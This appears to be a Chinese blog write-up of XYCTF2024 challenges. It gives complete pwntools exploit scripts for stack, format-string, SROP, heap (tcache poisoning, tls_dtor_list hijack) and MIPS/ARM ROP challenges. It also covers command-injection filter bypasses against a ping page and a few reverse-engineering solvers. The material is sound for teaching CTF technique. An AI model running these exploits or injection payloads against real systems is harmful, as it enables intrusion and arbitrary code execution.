XYCTF2024 WP

Pwn:

hello_world(签到):

这里的printf没有格式化字符串漏洞,但是我们依旧可以填充栈来利用printf泄露栈上信息

根据我们能填充的字节数来看,我们无法泄露出libc_start_main+128的地址,但是可以泄露libc_start_call_main+128的地址,利用加上或减去相对libc_start_main的偏移依旧可以得出libc_start_main的地址,实现ret2libc。

完整exp:

from pwn import*
context(log_level='debug')
p=remote('xyctf.top',42665)
 
payload=b'a'*0x28
p.sendafter(b'please input your name:',payload)
p.recvuntil(b'Welcome to XYCTF! ')
p.recvuntil(b'a'*0x28)
libc_start_call_main128=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(libc_start_call_main128))
libc_start_main128=libc_start_call_main128+0xb0
libc_start_main=libc_start_main128-128
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
payload=b'a'*0x28+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendafter(b'please input your name:',payload)
 
p.interactive()

invisible_flag:

这里没什么好说的,直接上exp

完整exp:


from pwn import*
context(log_level='debug',arch='amd64')
p=process('./vuln')
p=remote('xyctf.top',44849)
 
shellcode=shellcraft.openat(0,'/flag',0)
shellcode+=shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)
shellcode=asm(shellcode)
p.sendlineafter(b'show your magic again',shellcode)
p.interactive()

static_link:

这里就一个输入点,并且题目没给libc库,说明很有可能用shellcode

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./vuln')
p=remote('xyctf.top',52184)
mprotect=0x4482C0
pop_rdi=0x401f1f
pop_rsi=0x409f8e
pop_rdx=0x451322
mov_ecx_rsi=0x43c430
bss=0x4C73A8
reads=0x447580
main=0x40184E
puts=0x40C260
jmp_rbx=0x47e04b
pop_rbx=0x401950
 
payload=b'a'*0x28+p64(pop_rdi)+p64(0x4c7000)+p64(pop_rsi)+p64(0x10000)+p64(pop_rdx)+p64(0x7)+p64(mprotect)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(reads)+p64(pop_rbx)+p64(bss)+p64(jmp_rbx)
p.sendlineafter(b'static_link? ret2??',payload)
print(len(payload))
shellcode=shellcraft.open('/flag')
shellcode+=shellcraft.read(3,'rsp',0x100)
shellcode+=shellcraft.write(1,'rsp',0x100)
shellcode=asm(shellcode)
p.sendline(shellcode)
p.interactive()

simple_srop:

这里禁掉了execve,所以考虑用orw,但是这里只有一个read,而且输入的字节数不足以输入完整的orw的srop,所以我们还得先srop调用一个read,更要紧的是连续调用srop还得设置栈顶,而我们又没有栈地址,所以只能考虑栈迁移到bss段。

完整exp:


from pwn import*
import websocket
context(log_level='debug',arch='amd64')
p=process('./srop')
p=remote('192.168.10.27',56956)
syscall=0x40129D
bss=0x404060
mov_rax_0f=0x401296
main=0x4012A3
datas=0x404040
read_got=0x404030
start=0x4010D0
 
sigread=SigreturnFrame()
sigread.rax=0
sigread.rip=syscall
sigread.rdi=0
sigread.rsi=bss
sigread.rdx=0x1000
sigread.rsp=bss+0x8
 
payload=b'a'*0x28+p64(mov_rax_0f)+bytes(sigread)
payload=payload.ljust(0x200,b'\x00')
p.send(payload)
 
sigopen=SigreturnFrame()
sigopen.rax=2
sigopen.rip=syscall
sigopen.rdi=bss
sigopen.rsp=bss+0x108
 
sigreads=SigreturnFrame()
sigreads.rax=0
sigreads.rip=syscall
sigreads.rdi=3
sigreads.rsi=bss
sigreads.rdx=0x100
sigreads.rsp=bss+0x208
 
sigwrite=SigreturnFrame()
sigwrite.rax=1
sigwrite.rip=syscall
sigwrite.rdi=1
sigwrite.rsi=bss
sigwrite.rdx=0x100
sigwrite.rsp=bss
 
payload=b'/flag\x00\x00\x00'+p64(mov_rax_0f)+bytes(sigopen)+p64(mov_rax_0f)+bytes(sigreads)+p64(mov_rax_0f)+bytes(sigwrite)
print(hex(len(payload)))
p.send(payload)
 
p.interactive()

 前面把payload填充到0x200是因为read的特性,不这样做后面输入不到bss段上

fmt:

这里没什么好说的

完整exp:


from pwn import*
context(log_level='debug')
#p=process('./fmt')
p=remote('gz.imxbt.cn',20975)
backdoor=0x4012BE
 
p.recvuntil(b'gift: ')
printf_addr=int(p.recv(14),16)
print(hex(printf_addr))
libc=ELF('./libc-2.31.so')
libcbase=printf_addr-libc.sym['printf']
exithook=libcbase+0x222f68
payload=b'%7$s'
payload=payload.ljust(8,b'\x00')
payload+=p64(exithook)
p.sendline(payload)
payload=p64(backdoor)
p.sendline(payload)
p.interactive()

这里操作的scanf格式化字符串任意写的实现条件:

1.可控制的格式化字符串的输入(因为要输入格式化字符串以及要修改的地址)

2.scanf

#补充点1:

利用exithook

在libc2.23中可以修改为libcbase+0x5f0040+3848或libcbase+0x5f0040+3856

在libc2.27可以修改为libcbase+0x619060+3840或libcbase+0x619060+3848

guestbook1:

这里可以覆盖rbp最后一个字节,而且程序会执行两次leave ret

完整exp:


from pwn import*
#p=process('./guestbook')
p=remote('gz.imxbt.cn',20073)
backdoor=0x00401328
 
for i in range(33):
    p.sendlineafter('index',str(i))
    payload=p64(backdoor)+p64(backdoor)
    p.sendafter('name:',payload)
    p.sendlineafter('id:',b'0')
p.sendlineafter('index',b'-1')
p.interactive()

直接把能改的地方全改成后门,然后覆盖rbp最后一个字节为比rbp原地址低的地址,就可以getshell了

Intermittent:

这里程序只会把输入的前12字节内容移到虚拟地址里,然后执行,大小不足以让执行shellcode,只能用pop寄存器调用read,再把gets hell的shellcode输入进去

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./interm')
 
shellcode='''
pop rdi
pop rdi
pop rax
pop rdi
pop rdi
pop rdi
pop rsi
pop rdx
pop rax
syscall
'''
shellcode=asm(shellcode)
print(len(shellcode))
payload=shellcode.ljust(0x10,b'\x00')+p64(0)+p64(0x114514022)+p64(0x100)+p64(0)
p.sendafter(b'show your magic:',payload)
shellcode='''
xor rdx,rdx	
xor rsi,rsi			
push rsi
mov rdi,0x68732f2f6e69622f	 
push rdi
push rsp
pop	rdi	
mov rax,59			
syscall
'''
shellcode=asm(shellcode)
p.sendline(shellcode)
p.interactive()

baby_gift:

这里有一处栈溢出,并且从汇编上看,程序将rbp+0x20处设置为了rdi,让我们可以控制rdi的值。而程序没有可利用的pop。

完整exp:


from pwn import*
p=process('./babygift')
p=remote('gz.imxbt.cn',20833)
printf_plt=0x401080
main=0x4012AF
 
p.sendlineafter(b'Your name:',b'aa')
payload=b'%p'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(0x40113F)+p64(printf_plt)+p64(main+8)
p.sendafter(b'Your passwd:',payload)
p.recvuntil(b'0x')
libc_start_main=int(b'0x'+p.recv(12),16)-0x1f0ce3-128
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
onegadget=libcbase+0xebc81
p.sendlineafter(b'Your name:',b'aa')
payload=b'/bin/sh\x00'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(0x40113F)+p64(system)
p.sendlineafter(b'Your passwd:',payload)
p.interactive()

这里要注意执行函数前把eax清空

ptmalloc2 it‘s myheap pro:

题目的libc版本是2.35,在glibc2.34版本的时候我们常用的exithook(比如dl_rtld_lock_recursive和dl_rtld_unlock_recursive)就被删除了,所以在这道题里面我们劫持另一个exithook,tls_dtor_list,但这里和之前我们常用exithook不同,它并不是简单地覆盖就可以执行了,它的利用过程相较于之前常用的exithook更复杂。

这里就不详细讲了,直接上exp

完整exp:


from pwn import*
p=process('./heappro')
free_got=0x403F98
manba=0x401700
 
def alloc(index,size,content):
    p.sendlineafter(b'>>>',str(1))
    p.sendlineafter(b'input chunk_idx:',str(index))
    p.sendlineafter(b'Enter chunk size:',str(size))
    p.sendafter(b'Enter chunk data:',content)
def free(index):
    p.sendlineafter(b'>>>',str(2))
    p.sendlineafter(b'Enter chunk id:',str(index))
def show(index):
    p.sendlineafter(b'>>>',str(3))
    p.sendlineafter(b'Enter chunk id:',str(index))
def exit():
    p.sendlineafter(b'>>>',str(4))
 
alloc(0,0x28,b'aa')
alloc(1,0x28,b'aa')
alloc(2,0x18,b'aa')
free(0)
free(1)
alloc(3,0x18,b'a'*0x10)
show(3)
p.recvuntil(b'a'*0x10)
heapbase=u64(p.recv(4).ljust(8,b'\x00'))-0x2c0
 
free(3)
alloc(3,0x18,p64(0)+p64(1)+p64(heapbase+0x2d0))
alloc(4,0x28,p64(0)*4)
alloc(5,0x28,p64(0x30)+p64(0x91)*3)
 
for i in range(6,13):
    alloc(i,0x80,b'aa')
for i in range(6,13):
    free(i)
free(1)
show(5)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0 
print("libcbase=="+hex(libcbase))
for i in range(6,13):
    alloc(i,0x80,b'aa')
alloc(1,0x80,b'aa')
alloc(14,0x28,b'aa')
free(14)
free(4)
show(1)
p.recvuntil(b'\x00\x31')
p.recv(15)
key=u64(p.recv(8))
free(1)
tls_dtor_list8=libcbase-0x2920
print("tls_dtor_list=="+hex(tls_dtor_list8))
fd=(heapbase>>12)^tls_dtor_list8
print("fd=="+hex(fd))
print("heapbase >> 12=="+hex(heapbase >> 12))
payload=p64(0)*3+p64(0x21)+p64(heapbase>>12)+p64(0)
payload+=p64(heapbase+0x3c0)+p64(0x31)+p64(fd)+p64(key)
alloc(1,0x80,payload)
alloc(14,0x28,b'aa')
free(6)
free(7)
fs30_addr=libcbase-0x2890
print("fs+30=="+hex(fs30_addr))
payload=p64(0x10)+p64(1)+p64(fs30_addr-0x8)
alloc(4,0x18,payload)
show(6)
p.recvuntil(b'\x00')
p.recv(7)
fs30=u64(p.recv(8))
 
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
system=system^fs30
system=bin(system)[2:].zfill(64)
system=int(system[17:]+system[:17],2)
payload=p64(system)+p64(binsh)
free(3)
alloc(3,0x18,payload)
payload=p64(0)+p64(heapbase+0x2a0)
alloc(15,0x28,payload)
exit()
p.interactive()

ptmalloc2 it‘s myheap plus:

泄露libc和堆地址就不多说了,fastbin duf也不解释了。这里主要是利用fastbin duf在environ附近创建堆块,泄露environ中的栈地址,然后就利用fastbin duf修改rbp和返回地址进行栈迁移了,迁移目标地址是我们填充ROP的堆块地址(栈迁移前要完成修改堆块地址处权限、将ROP填充到堆块中。

完整exp:


from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./heapplus')
p=remote('gz.imxbt.cn',20680)
 
def alloc(index,size,content):
    p.sendlineafter(b'>>>',bytes(str(1).encode('utf-8')))
    p.sendlineafter(b'chunk_idx:',bytes(str(index).encode('utf-8')))
    p.sendlineafter(b'size: ',bytes(str(size).encode('utf-8')))
    p.sendafter(b'data:',content)
def free(index):
    p.sendlineafter(b'>>>',bytes(str(2).encode('utf-8')))
    p.sendlineafter(b'chunk id:',bytes(str(index).encode('utf-8')))
def show(index):
    p.sendlineafter(b'>>>',bytes(str(3).encode('utf-8')))
    p.sendlineafter(b'chunk id:',bytes(str(index).encode('utf-8')))
def exit():
    p.sendlineafter(b'>>>',bytes(str(4).encode('utf-8')))
 
for i in range(7):
    alloc(i,0x80,b'aaaa')
alloc(7,0x80,b'aaaa')
alloc(8,0x80,b'aaaa')
alloc(9,0x80,b'aaaa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x80,b'aaaa')
alloc(10,0x18,p64(0x80)+p64(1))
show(7)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-(0x750dcd21ace0-0x750dcd000000)
show(10)
p.recv(8)
p.recv(8)
p.recv(8)
heapbase=u64(p.recv(8))- (0x57369a90c870 - 0x57369a90b000)
print(hex(heapbase))
for i in range(7):
    alloc(i,0x68,b'aa')
alloc(7,0x68,b'aa')
alloc(8,0x68,b'aa')
alloc(9,0x68,b'aa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x68,b'aa')
alloc(10,0x18,p64(0x68)+p64(1))
for i in range(7):
    free(i)
free(7)
for i in range(7):
    alloc(i,0x68,b'aaaa')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
environ=libcbase+libc.sym['__environ']
pos=heapbase+(0x5a28a79cbb30-0x5a28a79cb000)
target=(pos>>12)^(environ-0x10)
alloc(7,0x68,p64(target))
alloc(8,0x68,b'aa')
alloc(7,0x68,b'aa')
alloc(7,0x68,b'a'*0x10)
show(7)
p.recvuntil(b'a'*0x10)
onestack=u64(p.recv(8))
rbp=onestack-(0x7ffecf5425e8-0x7ffecf5424c0)
rsp=onestack-(0x7ffecf5425e8-0x7ffecf5424c8)
for i in range(7):
    alloc(i,0x58,b'aa')
alloc(7,0x58,b'aa')
alloc(8,0x58,b'aa')
alloc(9,0x58,b'aa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x58,b'aa')
alloc(10,0x18,p64(0x58)+p64(1))
for i in range(7):
    free(i)
free(7)
for i in range(7):
    alloc(i,0x58,b'aa')
ret=libcbase+0x0000000000029139
leave_ret=libcbase+0x000000000004da83
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rcx=libcbase+0x000000000003d1ee
pop_r8=libcbase+0x00000000001659e6
reads=libcbase+libc.sym['read']
mmap=libcbase+libc.sym['mmap']
mprotect=libcbase+libc.sym['mprotect']
block_addr=heapbase+(0x5acfdfaa5010-0x5acfdfaa3000)
block_addr2=heapbase+(0x5c22450170c0-0x5c2245015000)
payload=p64(pop_rdi)+p64(heapbase)
payload+=p64(pop_rsi)+p64(0x21000)
payload+=p64(pop_rdx_r12)+p64(7)+p64(0)
payload+=p64(mprotect)
payload+=p64(block_addr2+0x10)
alloc(11,0x80,payload)
 
payload=b'flag'
payload=payload.ljust(0x10,b'\x00')
payload+=asm(f'''
mov rdi,{block_addr2}
mov rsi,0
mov rax,2
syscall
mov rdi,3
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,0
syscall
mov rdi,1
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,1
syscall
''')
alloc(12,0x80,payload)
pos=heapbase+(0x644695eefeb0-0x644695eee000)
alloc(7,0x58,p64((rbp)^(pos>>12)))
alloc(8,0x58,b'aa')
alloc(7,0x58,b'aa')
alloc(7,0x58,p64(block_addr-0x8)+p64(leave_ret))
exit()
 
p.interactive()

EZ1.0?:

这里用的是retdec,没安装的可以看这个[CTF]-PWN:mips反汇编工具,ida插件retdec的安装-CSDN博客

这里直接看反汇编貌似看不出什么,所以直接从汇编找

完整exp:

from pwn import*
context(log_level='debug',arch='mips')
p=process('./mips')
p=remote('gz.imxbt.cn',20045)
jmp_a2=0x0041FBF4
add_sp_jmp_fp=0x00427968
 
 
shellcode=b'\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28'
shellcode+=b'\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03'
shellcode+=b'\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24'
shellcode+=b'\x0c\x01\x01\x01/bin/sh'
payload=b'a'*0x40+p32(jmp_a2)+p32(add_sp_jmp_fp)+b'a'*0x58+shellcode
p.sendafter(b'welcome XYCTF mips world',payload)
p.interactive()

原来x86架构的shellcode是用不了的,这里是先覆盖fp为jmp a2,覆盖返回地址为add_sp_jmp_fp,执行add_sp_jmp_fp处汇编的时候会把shellcode的地址放入a2,而且会jmp fp,利用这一点执行shellcode。

EZ2.0?:

因为是arm架构,所以我们要覆盖LR寄存器控制返回地址,对于mips32架构,R0~R3寄存器负责传参,R7寄存器传递系统调用号。这里覆盖R3为SVC是因为后面有跳转R3的指令,覆盖R4是为了后面把R2寄存器覆盖为0。

完整exp:


from pwn import*
 
p=process('./arm')
p=remote('gz.imxbt.cn',20082)
svc=0x0001c58c
mov_r2_r4_blx_r3=0x00043224
pop_r7=0x00027d78
pop_r4=0x000104e0
pop_r3=0x00010160
pop_r1=0x0005f824
pop_r0=0x0005f73c
sh=0x0008A090
 
payload=b'a'*0x44
payload+=p32(pop_r0)+p32(sh)
payload+=p32(pop_r1)+p32(0)
payload+=p32(pop_r3)+p32(svc)
payload+=p32(pop_r4)+p32(0)
payload+=p32(pop_r7)+p32(0xB)
payload+=p32(mov_r2_r4_blx_r3)
 
p.send(payload)
 
p.interactive()

Web:

ezmd5:

这里就需要两张md5的值相同的图片

这样就可以得出flag了

Ping Ping Ping:

​​​​​​​

先看网页

按照正常流程,先ip+ls,可以看到flag

但是不能直接得flag,他应该是过滤掉了一点东西。

这里考虑过滤掉了空格

空格过滤绕过:

%20
%09
${IFS}
$IFS$1
{IFS}
<
<>

空格绕过之后发现还是打不开flag.php,但报错语句变了

尝试打开index.php,成功了。

从这里我们可以看出打不开flag.php的原因

代码审计:

preg_match函数:一般形式是preg_match("/xxxx/",$b,$c),其中$c用于储存结果,可以省略

preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)
这里结合下面的die函数,过滤掉了&、/、?、*等字符,由[\x{00}-\x{20}]还过滤掉ascll码为0~32的字符,其中\x为正则表达式中的十六进制转义字符

preg_match("/ /", $ip)
这里就是过滤掉空格的地方了,但是由于刚刚那个函数还过滤掉了一点字符,所以有些空格绕过没法生效

preg_match("/bash/", $ip)
这里过滤掉bash字符串

preg_match("/.*f.*l.*a.*g.*/", $ip)
带有形如.*等字符是正则表达式贪婪匹配的特征,我在下面再详细讲讲

$a = shell_exec("ping -c 4 ".$ip);
shell_exec函数跟system之类的差不多,是执行系统命令的函数,这里是用shell_exec函数执行一个ping命令 ,而-c 4表示了回显请求数量为4

贪婪匹配:

正则表达式中,含有形如.*或.+等字符则代表正则表达式采用贪婪匹配

例子:

设$key='aaacccbbb'
preg_match("a.*b",$key)
则会匹配到aaacccbbb,贪婪匹配就是往字符串越多的方向匹配

这道题中的贪婪匹配的正则表达式为:

preg_match("/.*f.*l.*a.*g.*/", $ip)

这就表明他会按flag的依次顺序匹配字符串,即使是ffflaggg也会被匹配,但flag这四个字符是依次的,如果是形如gfla就没法匹配。当然正常情况下正则表达式是区分大小写的,也就是小写只能匹配小写,大写只能匹配大写,加上/i才不区分大小写。

回到解题,我们之所以空格过滤后没有办法打开flag.php的原因是我们的payload是/?id=127.0.0.1;cat$IFS$1flag.php,很显然第三次正则表达式过滤掉了flag这个字符串,那我们就没有办法直接输入flag了,但文件名摆在那里,一定要用flag,要绕过这个过滤,有以下方法。

方法一:

由于下面的代码时是

$a = shell_exec("ping -c 4 ".$ip)

这里注意,他用的是“ ”而不是‘ ’。双引号会对字符串中的变量进行解析,单引号则不会,而前面的正则表达式过滤flag也只是从字符串上检查是否有flag的字样而已,并没有解析变量,而下面解析了。

payload:

然后就可以在这里找到flag了

方法二:

这个方法需要getshell以及将字符串转化为base64编码。

先提一个知识点

在执行系统命令中,|号有个作用
它可以将前一个命令的输出作为下一个命令输入的参数
例如:echo cat flag|sh就会执行cat flag

payload:

注意这里的base64 -d会输出解码后的base64编码

flag还在这里找

方法三(内联执行):

payload:

?ip=127.0.0.1;cat$IFS$1`ls`

这里的作用是cat用ls命令出来的文件。或者说将``里的输出作为参数传给cat

flag还在那里

Reverse:

ez_rand:

这里是利用time64获取种子,但是time64不是标准的函数,这里是伪随机数,简单地来说就是它不是通过时间来确定种子,所以我们没办法在脚本里直接调用它得到种子,那就意味着我们不知道种子是多少,只能爆破。

#include<iostream>
#include<ctime>
#include<cstdlib>
#include<cmath>
#include<cstring>
using namespace std;
 
 
int main()
{
    int seed=0;
    int v7;
    unsigned char result[50]={0x5D, 0x0C, 0x6C, 0xEA, 0x46, 0x19, 0xFC, 0x34, 
  0xB2, 0x62, 0x23, 0x07, 0x62, 0x22, 0x6E, 
  0xFB, 0xB4, 0xE8, 0xF2, 0xA9, 0x91, 0x12, 0x21, 0x86,0xDB, 0x8E, 
  0xE9, 0x43,0x4D};
    char flag[50]={0};
    for(seed=0;seed<pow(2,16);seed++)
    {
    	srand(seed);
        for(int i=0;i<29;i++)
        {
            v7=rand();
            long long temp=(2155905153*1LL*v7)>>32;
            flag[i]=result[i]^(v7+((temp&0x80000000)!=0)+(temp>>7));
        }
        if(strstr(flag,"flag")||strstr(flag,"XYCTF"))
        {
        	printf("%s %d",flag,seed);
		}
	}
}

这里建议用c++写

#补充1:这里的temp是为了减少括号的使用,以免括号过多导致编程错误

#补充2:这里的result最好用ida的export data出来,这里要注意

前面3个数据0xc7,0x45,0xb0是机器码,是进行操作的,它不是v9数组的字符,后续出来的v9数组字符同理。

#补充3:这里能爆破时间戳是因为从汇编上看返回的种子存在ax寄存器里,而movzx指令只是用0扩展并转移数据用的,那意味着种子就只有16位,也就是两个字节,最大值为2的16次方,可以爆破。

你是真的大学生吗?:

没有办法反汇编,只能直接看汇编了。

这里提示有输入,输入到2F地址后,然后从后往前异或,其中先最后一个字符与第一个字符异或。这里其实也有字符串的长度,推测应该是cx自身异或之后传给了cx

完整exp:

result=[0x76, 0x0E, 0x77, 0x14, 0x60, 0x06, 0x7D, 0x04, 0x6B, 0x1E,0x41, 0x2A, 0x44, 0x2B, 0x5C, 0x03, 0x3B, 0x0B, 0x33, 0x05]
flag=''
 
 
for i in range(0,len(result)-1):
    result[i]^=result[i+1]
result[-1]^=result[0]
for i in range(len(result)):
    flag+=chr(result[i])
 
print(flag)

 

持续更新

  • 11
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值